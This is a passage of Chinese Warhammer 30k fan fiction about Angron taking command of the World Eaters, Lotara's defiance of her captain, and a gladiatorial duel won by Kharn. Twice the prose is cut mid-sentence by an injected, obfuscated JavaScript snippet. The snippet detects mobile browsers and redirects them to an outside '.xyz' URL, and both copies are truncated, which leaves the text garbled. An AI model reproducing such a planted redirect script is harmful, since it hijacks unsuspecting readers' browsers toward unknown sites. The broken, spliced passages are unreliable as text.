等安格隆看完军团日志后,德雷格把重锻号近半年的军务日志拿过来了。他已经敏锐地察觉卡恩在和基尔打擂台,当然要帮自己的好友。所以他希望让原体翻看他们的军务日志,这样原体就能知道虽然卡恩是新连长,但付出的努力与获得的荣耀一点都不比老战犬少。 安格隆看到字就烦,但如今他还有心情扮演一位好父亲,于是好声好气地对德雷格点头:“放这里吧。” ——他竟然和原体说上话了。德雷格的大脑似乎被巨大的惊喜砸中,有点晕乎乎的。 此时安格隆感到自己又开始头痛了,钉子在他的大脑里尖叫。他不想让眼前这群小兵人看见自己的软弱,于是微微皱眉,用不耐烦的声音结束这次会议:“现在你们可以滚了。” 德雷格有些无所适从。而基尔和卡恩同时看向安格隆脑后的钢缆,它们好像恶毒异形般咬着安格隆不放。 安格隆又对卡恩微微扬起下巴:“你留下来。”其他军官纷纷朝卡恩投来羡慕的眼神。 等其他人都走了,卡恩才关切地上前一步:“父亲……”他多想问问原体那奇怪的装置是怎么回事,他们都看得出来安格隆在忍受来自它的折磨。 安格隆没有让卡恩多说一句话,直接把德雷格刚刚递过来的军务日志和军团日志都塞给卡恩:“这些给你,看完它。” 卡恩欲言又止,这些东西本来就是他写的。 “我可看不懂上面这些乱七八糟的东西。”随着头痛袭来,安格隆说话越来越像怀着满腔怒火,其实他内心没有一点愤怒,“外面的人都听你的话不是吗?但那还不够,多去学习,还有四万多人等着你。总之别让这些东西烦我。” “您会看到我们的改变,我发誓。”卡恩轻声道,“您会得到一个完整的十二军团。” 安格隆咬紧牙关,不小心咬破了舌头。他将满口的血吞下去,才说:“随你怎么做都好……但是,卡恩,别针对基尔。” 卡恩惊讶地抬起头,瞬间升起对自己的无尽怀疑。 安格隆用一种看弱智的眼神看他:“战斗前要对双方的实力有基本的判断——你弱得一招就能被对方撂倒。” …… 会议室大门开启,卡恩万众瞩目地从里面走出来了。对于屡次获得与原体独处的殊荣的卡恩,大家已经说不出自己是敬仰多些还是嫉妒多些。 卡恩的神情却没有刚进会议室时平静。他快速地把前往坚毅决心号的准备工作安排下去,并让大家最近不得懈怠训练。 “坚毅决心号上都是我们素未谋面,却与我们极其相似的兄弟。”卡恩说道,“我们都知道自己是个什么性格,做好准备。” “我从来没见过那么多战犬在一艘船上。”有人开玩笑道,“基尔又不在那里看着,坚毅决心号不会已经血流成河了吧?” 卡恩不置可否,然后他一眼锁定了正和耶利哥吵架的卡格斯,快速走过去:“冠军,和我去训练室。” 卡格斯立刻扔开耶利哥:“悉听尊便,连长大人。” 两人并肩行走,有些急切。在转角处他们撞见了基尔与昆纳。对方似乎在聊某些机密,一看见他们就闭紧嘴巴,眼神冷酷。卡格斯抱紧双臂以示立场。一连长与一连冠军,八连长与八连冠军,在这个小小的转角处碰撞出针锋相对的气势。 “谄媚的家伙。”昆纳按捺不住说道,“你以为用这种方式能让原体多看你一眼?” 因为安格隆并没有任何改制改编的举动,所以昆纳认定这是卡恩的个人行为,为了讨好原体才抹去帝皇赐给他们的荣耀。 就算原体对卡恩的行动感到高兴,那又能说明什么呢?原体才刚刚回归,什么都不知道,对一个愿意花心思讨好的士兵多笑笑不是很正常?可很快原体会 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“原体在忍受痛苦你察觉不到吗!”基尔的咆哮声几乎将玻璃都震碎,“把所有药剂师找过来!” …… 太空中,重锻号这艘超重巡洋舰的外壳上泛起一层珍珠般的光泽。舷窗外的星群开始扭曲成螺旋状光带,随即被一片黑暗吞没,安格隆站在窗边,有些紧张地等待第一次亚空间航行。 亚空间跳跃,是人类发现的长途宇宙航行的最佳方式。只需要星语者,一种特殊灵能者的指引,数以万计的光年路程被压缩成几个月的航行,人类得以远征银河。 但亚空间航行并非没有坏处。有时候船支会遭遇亚空间乱流,船毁人亡。但这些意外造成的损失相比亚空间航行获得的收益而言太少,所以没有人会放弃亚空间。 据说亚空间里有一些奇怪的异形存在,它们也会袭击船支。但是并没有明确的官方记录,所以大家都只当是银河传说看待。 安格隆独自一人站在空荡荡的舱室内,卡恩三番四次询问他脑后钉子的事情,他一点都不想提,因为他根本啥都不知道。所以他赶走了卡恩,只想一个人看看风景。 外面瑰丽的星云以极快的速度转变着,安格隆一时有些看呆了,很快他听到一些异样声: “咔嚓——” “咔嚓——” 他以为是哪里的螺丝坏掉了。但找过一圈没有在室内找到声源,那声音像是从窗外传过来的。 安格隆凑近窗口,仔细判断那令人耳熟的声音。不一会儿,他想起来他在哪里听过这声音——那是霍恩吃苹果会发出的声音。 他为自己联想到前老板感到恶寒,连风景也不想看,离开了这间舱室。他还是想回到荣誉大厅待着,回到那个像山洞一样的地方,把所有灯关掉,杜绝“外面”的窥探。 大约航行了一星期,重锻号顺利从亚空间脱出。 一艘庞大得不可思议的美丽战列舰已经在太空等候,她的舰身长达23千米,占地面积堪比20世纪的一座小城市,蓝白的涂装让她看起来像一把冷冽的兵器。舰队里的巡洋诸舰化作漫天星辰环绕着她,仿佛威武的披风。 那就是属于十二军团的荣光女王级战列舰——坚毅决心号。 15.洛塔拉 在半年前,坚毅决心号迎来了数不清的十二军团远征分支舰队。还未等首次团聚的军团磨合成功,时任军团长基尔便带领一波军官前往重锻号,等待着基因原体的回归。 然后他就失联了一段时间。 于是坚毅决心号迎来了前所未有的大混乱。 由于战犬分裂各地的特性,每一支远征舰队都有不同的脾性。 有的如十八连连长玛戈,时刻铭记来自泰拉的高贵教导,恪守军规、崇尚荣誉,坚信战犬应当是高贵的战斗英雄,鄙夷那些随意放任杀戮的狂战士。 十七连连长的阿格斯布朗德则是与之相反的存在,不追求精细化的指挥,崇尚战场上的血性,但他对连队内的凡人军官亦十分尊重。 还有一些则是完全无视军令,渴求在战场上见血见骨的狂暴分子。他们在原先的远征舰队就是不在乎伤亡的疯狂战士,毫无军团荣誉感,也不相信他们未来会随着原体回归有什么改变。 原本战犬还能以原先的远征舰队为单位,互不侵犯各自安好。但随着基尔久久未归,这份和平马上被打破了。无法见到原体,亦无处发泄的战犬们迫不及待地将自己看不顺眼的混蛋同袍拖入决斗笼,来一场见血的互殴。每一天都有数不清的机仆报废。 “这艘船根本不能待了。”老舰长莱文西克抱怨道。正常的战列舰除了阿斯塔特,还有凡人担任水手、辅助军、以及奴仆等来维持战舰的正常运转。他们生活在甲板底层,有些已经繁衍出家族。 “重锻号那边不知道有什么神秘任务,整日与我打哑谜,看见那边那张年轻的脸我就来气,我在泰拉学习了多少年才能坐上舰长王座,那些小年轻根本没经过训练就敢开船,真是一代不如一代。”老舰长摇摇头。 “舰长。”掌舵官洛塔拉·萨林汇报道,“那些精力旺盛的家伙破坏了重要舱室的大门,我们需要前往维护。” 老舰长挥挥手:“让机仆去就好了。” “可是舰长……”洛塔拉原地等了一会儿,还是决定提出意见,“我认为需要策划一个更能根治问题的计划。这样下去不是办法,这艘美丽的战列舰应该得到这些战士的更多尊重。” “你以为我不知道吗!”老舰长拔高声音,“掌舵官,你也觉得你年轻,所以比我脑子更灵活吗?” 洛塔拉低下头,舰长室内没有人帮她说话。老舰长总喜欢用他的资历训斥别人,大家都习以为常,忍忍就过去了。 “那可是一群阿斯塔特!而且是十二军团的战犬!现在还没有军团长来维护纪律,他们就是一群脱缰的疯狗,只有另一条疯狗才能制止他们。”老舰长说得太快,嘴皮都翻起来。他的言语中带点对战犬们的不屑,但是没有人会不识相地去反驳他。这里是舰长室,是他绝对权威的领地,连阿斯塔特进来了都得对他客客气气的。 洛塔拉本来也想对这个老不死的客气一点,可她一想到战列舰上那些破损便难以挪步。她喜欢战舰,喜欢在虚空航行。她付出了常人难以企及的天赋与努力才登上这艘帝国的罕见瑰宝,怎么能眼睁睁看着“她”被战士们迫害呢? “我去劝他们。”洛塔拉听见自己说。 其他掌舵官停下动作,纷纷看向语出惊人的洛塔拉。老舰长更是发出轻蔑的嗤笑声。 “那你就去。”老舰长说道,“你不用做保养船支的活了,会有更识相的人替代你。现在,离开我的舰长室,去那群疯狂的战犬之间,用你可怜的声音哀求他们收敛收敛自己的凶性,要打就去笼子里打吧!” 洛塔拉尝试忍耐,可失败了。她扯下自己的海军帽,恶狠狠地瞪向老舰长:“我会做到的。” 她朝老舰长啐了一口,便大步流星地摔门而出。 “洛塔拉!”出门后一个同样年轻的声音追着她跑,一双手亲密地挽住她,“你刚才可太解气了!早该有人气气那老不死的。”她是扫描官雷哈拉,负责处理鸟卜仪如锯齿般的数据流。 洛塔拉心情沉重地朝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16191344|180617||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她点点头。 “我不只是在惹他生气,我确实要去解决这件事。”洛塔拉说道。 “我知道,你总是有着远大志向。”雷哈拉崇拜道,“所以你能成为第一个女性掌舵官,你一定会在泰拉的教材里留下名字。” 明明在3k时代都有女舰长了,在30k却连个女掌舵官都少见。这是由于某种场外原因,总之女性在虚空航行上一般担任星语者的工作,而很少涉及水手方面的工作。 “掌舵官,我就只能待在那个男人手下做个掌舵官吗?”洛塔拉皱紧眉头,她看向舷窗外的宇宙,“他一点都不爱惜这艘船,他会的我都会。我有哪里比不上他了?我甚至——比他命长多了。” “什么?”雷哈拉没有听清好友的呓语。 “没什么。”洛塔拉摇摇头,咬牙道,“现在该解决的是那群阿斯塔特!” 雷哈拉一惊,其实她追出来除了关心好友还有另一个原因,就是劝好友放弃这个任务。老舰长总有回旋之地,但在阿斯塔特那里,凡人竖着进去可能就横着出来了。战犬们可不会怜香惜玉。 可洛塔拉比她走得更快,更坚定。她走上了甲板二层,无视了地上机仆们还没擦掉的斑斑血迹,径直走进在谩骂的星际战士堆里。她的身形如此渺小,哪怕她已经高达一米八,但在人均两米以上的阿斯塔特们还是不够看。她蓝白的海军制服与阿斯塔特坚固的动力甲相比更是如此脆弱。 雷哈拉不敢走近,只能趴在门框处为她的好友祈祷。同时她也怀有一些隐秘的期待,洛塔拉会如何解决这次危机呢?用她出色的口才,或者联合某些比较理智的连长。 洛塔拉一路走到最深处,阿斯塔特们的动力甲完全遮盖了她。 但她举起手,让雷哈拉看清她手上拿着的东西。 “噢不——别那么冲动,亲爱的。”雷哈拉结巴道。 只见洛塔拉举起枪,朝上空果断开枪。随着猛烈的枪声响起,她迅速打空了一整个弹匣。 16.第一场决斗 众多战犬审视着这位占据原体最亲近位置的阿斯塔特。他的右肩铠显示他是至少是一名上尉,但左肩没有任何标记,这在某些舰队的文化里,几乎等同于“背叛者”。 可原体肉眼可见地信任这名“背叛者”,从进入凯旋大厅以来,他便一直亲密地与“背叛者”分享自己的想法,连前军团长基尔都被迫站在数米开外。当历经半年选拔的荣誉卫队站在原体面前时,原体甚至用一种残忍的漠然忽略了他们,只是扭头和“背叛者”说“交给你了”。 这人究竟是谁?凭什么站在原体身边?又以什么身份统领他们经历荣誉决斗选拔出来的典范战士? 所有卫队成员都对卡恩怒目而视。 卡恩以一种奇妙的畅快心情接受了战斗兄弟们的愤怒。 可他深知自己要保持谦逊,不能因为原体的奖励而忘乎所以。他还没有把一个全新的军团献给安格隆,而眼前这十二个人就是安格隆给他的新挑战。他站出来,让那些不服他的家伙更方便地瞪他。 “我是安格隆之子,亦是他最忠诚的锋芒。”卡恩以拳锤胸口坚定说道,“我是十二军团八连长卡恩,我向你们这群未经安格隆允许的原体卫队提出决斗。” “决斗?没错,你们得进行一次决斗。”安格隆露出回忆的神色,“在我出生的地方,当我融入一个新群体时,我必须接受一个挑战。” 战犬们此前对安格隆的过往一无所知,听闻原体分享自己的过去,他们都贪婪地分析其中的信息。 “无甲,一对多混战。如果我身上留下三道血痕,我被淘汰。如果我能在他们身上留下一道伤口,他们淘汰。”安格隆回忆到某些细节,神情变得复杂。 他所说的挑战,是他加入颅骨俱乐部后第一天的遭遇。 那一天霍恩刚刚给他签完合同,坐着轮椅离开了。他在尚不熟悉的颅骨俱乐部里乱逛,朴素地感叹这里真大真豪华啊,就是气氛有些阴森,到处挂着颅骨。 然后俱乐部的原生选手拦住了他。 “看看这是谁?红天使!你果然要加入我们了吗?”为首的人十分高大,钢筋铁骨,还穿着颇为古朴的黄铜战甲。 “谁他.妈是红天使?”安格隆惊讶道。 “不要忘记血神赐予你的名号,红天使。”那人像鲨鱼一样露出满嘴的尖齿,“来决斗吧。介于你还是凡人,我们的规矩会稍微放宽一些,你三血,我们一血怎么样?三血就是在身上划出三个流血的伤口就算结束,你还有机会养伤呢。” “等等,斯卡布兰德,血神不允许我们私下进行仪式决斗。”有一个人说道,“我们不是说好了只是围殴他一顿吗?这可是少有的能揍红天使的机会!” “我才不会和你们浪费时间。”安格隆从来不接受别人的提议,哪怕这个提议是他喜欢的比赛,“至少我不会和一个穿着劲霸兔男郎战甲的人决斗。” 他瞥了一眼名为斯卡布兰德的家伙,更加确定对方穿得有伤风化。对方抹胸似的黄铜战甲把沟都挤出来了,跟主题酒店的兔男郎似的。“你们是美国来的吧?”安格隆颇为地域歧视地点评。 “你以后也会穿这么少!穿得比我们更少!”有个陌生的原俱乐部选手喊道,后来安格隆知道了他叫安格拉斯,旁边还有一个人叫卡班哈。 “你竟然侮辱我的战甲!找死!”斯卡布兰德已经听不进任何话,举着武器冲过去。 总而言之那就是安格隆加入颅骨俱乐部后第一天的故事。那一天安格隆忧郁忧郁地走出俱乐部—— ——他轻松地解决了那8个原俱乐部选手,哪怕徒手,哪怕无甲,哪怕一对多。可由于太轻松,他开始怀疑俱乐部老板的眼光,担忧未来老板败光家产发不出钱。他的合同可是签了很久的。 …… 尽管安格隆不太想回忆俱乐部那些事,但颅骨俱乐部已经占据他人生十余年之久,他大半的人际关系与日常消磨都在那里。当他来到一个陌生地点时,他不得不拿出以往的经验,套用在这个相似的场合。 他匆匆打断自己的回忆,和众战犬们宣布三血以及一血的规则:卡恩三血,其他原体卫队一血,进行无甲大混战。 卡恩毫不在意自己被推上大混战的中心,他只是细心聆听,好奇父亲在哪里经历的这些事情。为什么安格隆会露出那样奇怪的回忆神色,难道他真有一群战斗兄弟姐妹? 规则宣讲结束,众战犬已然明白,这是原体带给他们的第一项链接,一个来自其母星的习俗。他们多希望原体可以再分享多一句,好让他们可以更像原体熟悉的人。 基尔适时走出来主持大局,阿斯塔特的队列向两侧分开,众多奴仆清理出凯旋大厅的中央场地,并放上电网以作角斗场的边界。机仆们用它们的机械爪辅助卡恩脱下动力甲,另一侧,原体卫队同样脱下那沉重的特殊装甲。隔着电网,那十二位原体卫队成员虎视眈眈地盯着卡恩。 原体卫队的队长,巴图,是一位谨慎且有礼节的人。他朝卡恩朗声道:“你先选武器,幸运的家伙。然后就向原体大人最后一次敬礼吧!” 卡恩看向安格隆,安格隆看上去有些懒洋洋的,他也看着卡恩,用眼神提问怎么还不开始。卡恩心想这么多人看着,原体应该不会趁这个时间点偷偷溜了,于是安心拿着动力斧进入角斗范围。 另外十二名原体卫队成员依次走入场中,他们朝安格隆鞠躬:“原体大人!我们将以您家乡的规则,向您致敬!” 安格隆挑起一边眉毛,难得有几分兴致。 角斗场上的武器折射出冷冽的光。巴图提前商定了战术,为了避免带来原体的恶感,他们不会像流氓一样群殴卡恩,而是车轮战。一个打完还有一个,他就不信卡恩的体力能撑到最后——如果卡恩真的能,那他们也愿赌服输。 几个阿斯塔特呈扇形包抄而来,挡住卡恩的退路。其中一位率先发难,他身材壮硕,双手抡着一柄双手斧,带起呼啸的风声砍向卡恩的手腕。卡恩不退反进,侧身避开斧刃的瞬间,抬腿一记侧踢,重重踹在对方的小腹。 安格隆看了几秒便兴致全无,谁要看无聊的车轮战?当初他可是被群殴的! 这些小人都太弱了,没有一个人的武术技艺、迎敌经验、瞬时反应比得上斯卡布兰德。斯卡布兰德还是个普通人呢,这些人不该感到羞愧吗? 但想想卡恩也这么弱,安格隆就不好意思说别人什么了。他不免觉得帝皇疯了,派一群这么弱的家伙进行大远征,这种帝国的根基怎么可能稳固? 唉,幸好他在这个时代的卡恩身边,要是以后出了什么意外,他总能捞上一把。 卡恩身上出现了第一道伤口。 基尔皱紧眉头。若卡恩今日落败,那他以后绝不可能再有脸面传达原体的旨意了。 “过于伤感,过于怯懦。他对自家兄弟还放不开手脚呢。”卡利博斯瞧了一眼便点评道,“卡恩以前没有泡过决斗笼吗?” 决斗笼是阿斯塔特文化里一种用来相互切磋比试,乃至解决私人恩怨的场所,和如今的角斗场有点像,但小得多。所有军舰都配备有相关装置。 “卡恩他很少泡决斗笼……”卡格斯为他的连长说话,“他是那种人见人爱的家伙,才不会把问题留到决斗笼解决。” “如果不在决斗笼切磋,怎么联络兄弟情谊?”昆纳颇为自豪地说,“我和基尔就是这么好上的。每一次,经历决斗笼后的每一次,我们的关系都更紧密了。” 卡格斯幽幽问道:“所以你们为什么会去决斗笼?” 基尔欲言又止。他不能承认是因为公务太多忍不住揍兄弟发泄一下。 “你们窃窃私语就好像我已经死了一样。”安格隆不满的声音在他们上空响起。 刚刚还在闲聊的战犬齐齐倒吸一口凉气,纷纷看向脚尖,犹如新兵躲避教官一样试图躲避安格隆的目光。 “这比我想象中的无聊多了。”安格隆漫不经心地扫过这群鹌鹑般的战犬,忽然流露出一抹看好戏的坏笑,“你们,派个人出去。同样的规则,要么把卡恩打下来,要么被他踢下来。” 基尔肯定不能上场,不然就是以大欺小了。同理昆纳、卡利博斯最好也别上场。所以卡格斯立刻自告奋勇:“我想揍卡恩很久了。” 安格隆点头让他去。 卡格斯立刻让机仆脱下动力甲,并愉快地加入了大混战。 卡恩看见他来有些惊讶,他刚才被人划下了第二道伤口。只剩下最后一次机会,他就要告别这个角斗场,并且和原体身边最亲近的位置说再见了。 “我向原体申请来揍你。”卡格斯快速说道,“你知不知道,因为你,我每天被迫背一整本医疗药物大全,每隔三天要去特遣队进行一次名词解释小考,每周一次理论大考,每个月要完成一次手术实战考试——那考试还规矩奇多,做个麻醉都按步骤来。我真不懂了,战场哪有那条件让你喊口号。时不时还要接受那些老药剂师的抽查,美名其曰‘我当年也是这么过来的’。因为你的一条建议,我堕入地狱。” 卡恩脸上的笑容越来越大。他颇为得意地说:“幸好我出了这个主意,不然我可以在每天的违纪名单都看见你。” 卡恩先拿着斧头和卡格斯对上。此后他仿佛挣脱了某种束缚,挥舞武器的速度越来越快,力度越来越沉。有人以为看到了卡恩变得轻浮着急了,操着武器攻过去,但立刻被卡恩反身挡住,并且借助巧劲一挥,刻下他今天的第一条战绩。 另一个卫队成员趁这个机会砍向卡恩的后背,可被一个出其不意的人挡住了。 卡格斯朝那名原体卫队成员龇牙咧嘴道:“现在轮不到你,懦夫!” 卡格斯和卡恩背对背地靠在一起,在这个混乱的角斗场上迅速地结为同盟。多年来的共同作战经验让他们无需商量对策,只需要看清对方肌肉的一次震动,他们就清楚彼此的意图。 众多战犬观望着这小小的同盟,并未发出任何卡恩作弊的念头。首先这是原体允许的入场。其次,卡恩和卡格斯让他们想到了在战场上最为亲近信任的兄弟。在原体没有回归之前,他们不正是以这种生死相依的情谊活过来的吗? 若卡恩以强大的武力制服原体卫队,战犬们或许只会认同卡恩的侍从武官地位。但现在卡恩表现出了战犬们引以为傲的典范情感,不少战犬在卡恩的胜利之前已经认同卡恩的指挥了。 与此同时,安格隆的目光还在围观的战犬身上逡巡。被他看到的战犬都感到心头一阵火热。 “原体大人!请让我上场!”十八 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他的动作较慢,但每一次劈砍都带着毁天灭地的力道。卡恩艰难地躲开,与他瞬间交手了数十个回合。某一瞬间卡恩的动力斧突然变招,放弃进攻斯金的上半身,转攻其膝盖。斯金猛地跃起,同时斧头向下砸去。两柄斧头再次相撞,强悍的金属碰撞声响彻整个凯旋大厅。卡恩勾起一抹坏笑,用比刚才更快的速度再度变招。 同样的招式,不同的速度,这回斯金跟不上了,只能眼睁睁看着卡恩的斧刃划开自己的裤子,在膝盖上留下深深的血痕。 卡恩在赢得他的胜利后没有立刻转身,而是朝斯金伸出手。 “你很勇猛。”卡恩说道,“之后来我的连队吧,我需要一个终结者小队。” 斯金愣了一下,才用沙哑的声音说:“行,我认了!” 那些羡慕原体卫队的人又开始羡慕斯金。他们有点觉得在卡恩手下干活也不错了。 当洛塔拉全身心沉浸这场精彩的决斗时,一个身材高大的阿斯塔特向她走来。她记得对方的名字,德尔瓦鲁斯,是四十四连的一名中士,刚才也被安格隆认可上场了。 他的外表在阿斯塔特中也是与众不同的。德尔瓦鲁斯留着一头顺滑的及肩黑发,与他粗犷的形象格格不入。一些阿斯塔特嘲笑过他的发型,然后被他用暴虐的决斗反击了。他说这头黑发是来自他母星的习俗,哪怕军团长下令他都不会更改它。 这名有着诸多记忆点的阿斯塔特会向她搭话,让洛塔拉颇感意外。 “我需要发绳。”德尔瓦鲁斯见洛塔拉一动未动,以为是自己的口音太重,又指指洛塔拉的马尾重复道,“我需要绑你这种头发用到的道具。” “呃,当然?”洛塔拉紧张地翻遍自己的口袋,终于找到雷哈拉塞给她的十几个发圈。德尔瓦鲁斯全拿走了。 然后洛塔拉看着德尔瓦鲁斯泰然自若地扎起发辫。他的双手出于意料地灵巧,用指缝将黑发分成一络一络,再迅速的将它们绑成小蛇模样。 发辫完成后,德尔瓦鲁斯甩了甩它们。由于他已经让机仆脱去了他的动力甲,所以他无法借助发光观察自己的杰作。他只能再次询问离他最近的凡人:“舰长,你说我这样像原体吗?” 渴望与原体亲近是每个阿斯塔特的本能,更别提与原体刚刚重逢的战犬们。有的战犬选择加入围殴卡恩的战场以博取安格隆的注意,有的战犬则下意识将自己和安格隆变得更像,仿佛外表越像,他们之间的链接就越深。 洛塔拉感觉到这群阿斯塔特的一丝可爱之处,她嘴角滑出一个微笑:“很像。但我不是舰长,我只是一个掌舵官。” 德尔瓦鲁斯点点头,在转身加入战斗之际还留下一句话:“这是一句恭维话,舰长。” 德尔瓦鲁斯加入混战后几乎给所有人一个沉重的打击。他野蛮而狂放的攻势迅猛地将一个个阿斯塔特扔出决斗范围。没有一个阿斯塔特可以在他手下坚持超过一分钟。 卡格斯勇猛地对上他。 卡格斯很快被他勇猛地划了一道然后摔出场外,穿透了电网,浑身都被震了一下。 卡格斯不敢置信地爬起来。旁边传来阿斯塔特们的阵阵嗤笑:“药剂师,前线可不是你该去的位置。” “我也是八连冠军!”卡格斯充满怒火地盯著那个胆敢嘲讽他的家伙,“十一连的,我记住你了!以后的角斗场我绝不会放过你!” 接下来场上就剩下卡恩、四十四连的德尔瓦鲁斯、十八连的奥伦特斯、原体卫队的戈古尔,原体卫队队长巴图。 17.交流 卡恩后退,与对手拉开距离,同时用锁链缠紧武器,避免在之后的激烈战斗中脱手。他歪歪头:“你们一起上?” 十八连的奥伦特斯和原体卫队队长巴图摇头,德尔瓦鲁斯没有反应,戈古尔点点头。 “在战场上可没有礼仪。”戈古尔用粗犷的声音说道,随后便提着重锤直砸卡恩门面,“以原体卫队之名,我定会把原体的敌人当场宰杀!” 重锤“轰”的一声砸在卡恩刚才站立的位置,大理石铺就的地板直接被砸出一个凹坑。安格隆看了直皱眉头,他还没有问这艘船如果需要维修会记在谁的帐上,以后的角斗场还是得铺些沙子才行。 另一下重锤则精准地砸中卡恩的动力斧。双方的武器咬在一起,每一次力量的较量都能听见金属摩擦的刺耳声。 另一边德尔瓦鲁斯却不管自己的立场,直接向其他两人发起进攻。他加入混战只是为了战斗本身。在他的母星,与野兽战斗才能填报肚子,久而久之战斗训练就成为了人们的日常娱乐。听闻原体的家乡习俗后,他便窃喜自己与原体一样拥有角斗的传统,他们之间的链接更深了,他果然天生就该是十二军团的子嗣。 他如猛虎般向前扑出,看架势竟想徒手夺取他人的武器,一对二也不曾落入下风。 巴图是个训练有素的战士,但德尔瓦鲁斯是从丛林世界走出的野蛮人。他不理会那些约定俗成的条条框框,不在乎那些花里胡哨的招式,全身肌肉所想仅有一招毙命。不要命的打发让巴图投鼠忌器——巴图不想在原体面前重创他的兄弟——于是巴图得到了血的教训,他的动力斧被夺走,手臂动脉被划破,喷洒了大片大片的地板。 “药剂师!”基尔急声呼喊道。 德尔瓦鲁斯停了一会儿,才从巴图身上跨过去,找另一位对手麻烦。巴图捂着伤口走出场外,恼怒不已,却不能发作。 德尔瓦鲁斯拿着染血的动力斧对付奥伦斯特。十八连的冠军与四十四连的中士竟然缠斗了数十回合也没分出胜负。不少人都在打听德尔瓦鲁斯是什么来头,竟然如此凶猛。 奥伦斯特感觉自己在和一头毫无理性的野兽搏斗。他不能再这样被压制下去了,他要反击。于是他尝试用斧刃做佯攻,实际上要用近战擒拿住对方的手脚。 可他忘记了空手的德尔瓦鲁斯同样战力惊人。计划失败了,锋刃划过了奥伦斯特的脸,留下一道血的豁口。 按照规矩他被判定出局,但德尔瓦鲁斯没有放过他的意思,借着冲劲将动力斧抡成一个半圆,想继续给落入弱势的奥伦斯特造成重创。却听“当”的一声脆响,武器之间火星四溅,另一把动力斧横在德尔瓦鲁斯面前。 “你们只是一血。”好不容易解决完戈古尔的卡恩喘着粗气提醒道,额头上的汗水顺着脸颊滑落,“这是原体的规则。”他手腕使劲,将德尔瓦鲁斯沉重的攻势挑开。 德尔瓦鲁斯不满地后退,卸了卡恩的力道。他将动力斧重重地往旁边一扔,重新缠起自己的锁链。 奥伦斯特满脸屈辱地离场,十八连连长早在角斗场边缘等他。 场上只剩下卡恩和德尔瓦鲁斯两人,他警惕地盯着对方。德尔瓦鲁斯以捕猎姿态绕着他走,双手的锁链叮当作响。这下周围的战犬都不禁提心吊胆,一时希望卡恩能站到最后,一时又觉得德尔瓦鲁斯胜算更大。 却见卡恩主动把动力斧放在一边,并学着德尔瓦鲁斯的样子往双臂缠起锁链:“就剩我们了,公平一点。” “你真是角斗场上的扫兴鬼。”德尔瓦鲁斯失望地对卡恩说。听见这句话的安格隆颇为认同地点头。 卡恩没有解释,缠好锁链后做出战斗的准备姿势。德尔瓦鲁斯已经忍耐够了,凭他的性格本应该立马进攻,为了那点子稀薄的兄弟情谊他才克制本能。他迅猛地向前挥拳,力度因忍耐产生的恼怒更加恐怖。 不少军官看了直皱眉头,这是他们在原体面前的第一场决斗,尽管是为了争论原体卫队的必要性,但在战斗中也应该展现出战犬的正面形象,比如谦虚、优雅、聪慧这种听起来很像圣血天使的品德。德尔瓦鲁斯再这样打下去,万一原体认为他们都是莽夫怎么办? 远处的安格隆摸摸下巴,心想这个德尔瓦鲁斯有他几分风范。反观卡恩……唉,便宜儿子,性格不像自己也忍忍吧。 出乎所有人的预料,卡恩看着快体力不支了,可每次都能稳稳接住德尔瓦鲁斯的攻势。在数十次野蛮的近战中,卡恩的神色越来越平静,与逐渐烦躁的德尔瓦鲁斯形成鲜明对比。旁人看不出来,但德尔瓦鲁斯似乎在面对一面镜子,他天性的愤怒穿透对方,流进一个令人恐惧的黑洞内。他引以为傲的凶性尽数失效。 他不能在此落败,他要战斗!战斗!战斗! 绑着锁链的拳头带着利落的风砸向德尔瓦鲁斯的脑子,他的面容在顷刻间变形,鼻腔流出鲜红的血迹。他重重倒地,鲜血蔓延到了他的脖子上。他不敢置信地回头看向卡恩——双眼冷酷得近乎残忍的卡恩。 卡恩蹲下来,朝他伸出手,礼貌地展现自己对战犬兄弟的宽容。打了这么久,他身上仅有两道血迹,那张毫无疤痕的脸更在此刻显得风度翩翩。可没有疤痕在战场中本来就是实力的无声象征。旁边的卡格斯笑得呱呱鼓掌。 “这不代表我会听你的。”德尔瓦鲁斯推开卡恩的首,“下次我们找个更尽兴的场合。”他狼狈地抹去脸上的血迹,径直离开角斗场。 现在场上只剩下卡恩一人。他站起来,面向他众多素未谋面的兄弟。此前八连长卡恩或许名声不显,但今后卡恩的战斗实力、兄弟情谊、连长风范,都会作为典范在战犬中口口相传。 众多双眼赞许地看向卡恩。一种满足感瞬间充斥在他心间。 卡恩拿回自己的动力斧,以战士礼仪向众人鞠躬:“我以原体故乡的决斗规则——向诸位致敬——!” 顿时场上掌声如雷。大家默契地遗忘了原体荣誉卫队的事,转而欢呼侍从武官的名号。 卡恩掩不住笑意地走回安格隆身边,满怀期待地看向原体。安格隆没有说话,这种程度的混战不该有脸讨赏。卡恩等了一会儿就放弃了。 …… 原体在凯旋大厅聆听每个连队代表的述职。安格隆不爱听那些激昂陈词,但他挺乐意听听未来星际战争的细节。恰好战犬也不擅长表述自己的军功。双方暂时能相处融洽。卡恩和基尔则忙得飞起,他们负责处理安格隆碰都不想碰的军务。 十八连队刚刚接受完原体的审阅,尽管只有十几分钟,但他们都如同在梦里走出来一样。奥伦斯特既激动又沮丧:“我刚刚在角斗场上表现得并不好……我会给十八连抹黑吗?原体有记住我吗!” 玛戈拍拍他的肩膀。 奥伦斯特又摸摸自己的脑袋说:“德尔瓦鲁斯那家伙绑了原体的同款发辫,我看见原体多看了他好多眼,可惜我没有头发……玛戈,你觉得原体头上的金属装置是什么东西呢?我可以拥有一个同样的装置吗?” “总之那绝不是单纯的装饰。”玛戈忧心忡忡。 “连长……我想……”奥伦斯特突然期待地靠近玛戈。 玛戈果断地打断:“想都别想。” 